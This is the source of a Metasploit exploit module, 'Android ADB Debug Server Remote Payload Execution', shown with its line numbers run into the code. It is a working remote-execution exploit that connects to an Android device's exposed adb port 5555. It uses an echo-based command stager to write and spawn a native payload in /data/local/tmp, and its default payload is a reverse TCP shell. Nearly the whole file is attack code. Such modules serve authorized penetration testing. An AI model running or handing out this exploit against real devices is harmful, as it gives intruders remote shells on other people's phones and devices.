Path: blob/master/modules/exploits/android/adb/adb_server_exec.rb
38483 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Android ADB Debug Server Remote Payload Execution',16'Description' => %q{17Writes and spawns a native payload on an Android device that is listening18for adb debug messages.19},20'Author' => ['joev'],21'License' => MSF_LICENSE,22'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },23'Platform' => 'linux',24'Targets' => [25['armle', { 'Arch' => ARCH_ARMLE }],26['x86', { 'Arch' => ARCH_X86 }],27['x64', { 'Arch' => ARCH_X64 }],28['mipsle', { 'Arch' => ARCH_MIPSLE }]29],30'DefaultTarget' => 0,31'DisclosureDate' => '2016-01-01',32'Notes' => {33'SideEffects' => [ ARTIFACTS_ON_DISK ],34'Reliability' => [ REPEATABLE_SESSION ],35'Stability' => [ CRASH_SAFE ]36}37)38)3940register_options([41Opt::RPORT(5555),42OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])43])44end4546def check47setup_adb_connection do48device_info = @adb_client.connect.data49print_good("Detected device:\n#{device_info}")50return CheckCode::Vulnerable51end5253CheckCode::Unknown54end5556def execute_command(cmd, _opts)57response = @adb_client.exec_cmd(cmd)58print_good("Command executed, response:\n #{response}")59end6061def exploit62setup_adb_connection do63device_data = @adb_client.connect64print_good("Connected to device:\n#{device_data.data}")65execute_cmdstager({66flavor: :echo,67enc_format: :octal,68prefix: '\\\\0',69temp: datastore['WritableDir'],70linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA - 8,71background: true,72nodelete: true73})74end75end7677def setup_adb_connection(&blk)78print_status('Connecting to device...')79connect80@adb_client = Rex::Proto::ADB::Client.new(sock)81blk.call82ensure83disconnect84end85end868788